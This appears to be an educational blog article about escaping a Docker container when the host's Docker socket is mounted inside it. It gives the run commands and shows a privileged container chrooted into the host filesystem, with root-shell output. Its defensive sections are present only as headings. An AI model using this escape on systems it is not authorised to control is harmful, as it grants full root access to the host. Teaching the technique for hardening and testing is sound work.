Advanced Docker Attacks: Abusing the Docker Socket
The Most Dangerous Docker Misconfiguration
Mounting the Docker socket inside a container (/var/run/docker.sock) grants root-level control over the host. This is not a CVE, but a dangerous misuse of default features that can lead to full host compromise.
Setup: Vulnerable Docker Deployment
Problematic Run Command
# DO NOT DO THIS IN PRODUCTION
$ docker run -v /var/run/docker.sock:/var/run/docker.sock -it --name socket-lab alpine
This mount provides the container with access to the Docker daemon of the host - effectively making it root-equivalent.
Exploitation: Spawn a Host-Level Container from Inside
Step 1: List Files Inside Container
/ $ ls
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
Step 2: Install Docker CLI in Alpine
/ $ apk add --no-cache docker-cli
Installed Packages:
OK: 38 MiB in 18 packages
Step 3: Escape to Host by Spawning a Privileged Container
Using the Docker CLI inside the container:
/ $ docker run -it --privileged --net=host -v/:/host alpine chroot /host
Recommended by LinkedIn
This gives access to the host filesystem and namespaces.
Output inside Host Container:
root@jenish-Precision-5520:/$ ls
bin boot dev home lib.usr-is-merged lost+found mnt proc run sbin.usr-is-merged srv sys usr bin.usr-is-merged cdrom etc lib lib64 media opt root sbin snap swap.img tmp var
You’ve now broken out of the original container and are chrooted into the host!
Security Insight: What This Teaches Us
Here are the key takeaways from this misconfiguration:
Why It Matters
Safer Alternatives
Final Takeaway
What's Next in this Series
This is the final offensive part of our journey. In Part 3, we will pivot from attack to defense, providing a comprehensive checklist of strategies to secure your Docker environments and pipelines, and sharing my overall white-hat philosophy.
References and Further Reading
This article is based on personal research and experience. The tools and software mentioned are open-source, and this article serves as educational commentary. The following authoritative resources provide additional context and guidance on container security best practices.
Insightful Jenish
Thoughtful post, thanks Jenish
Definitely worth reading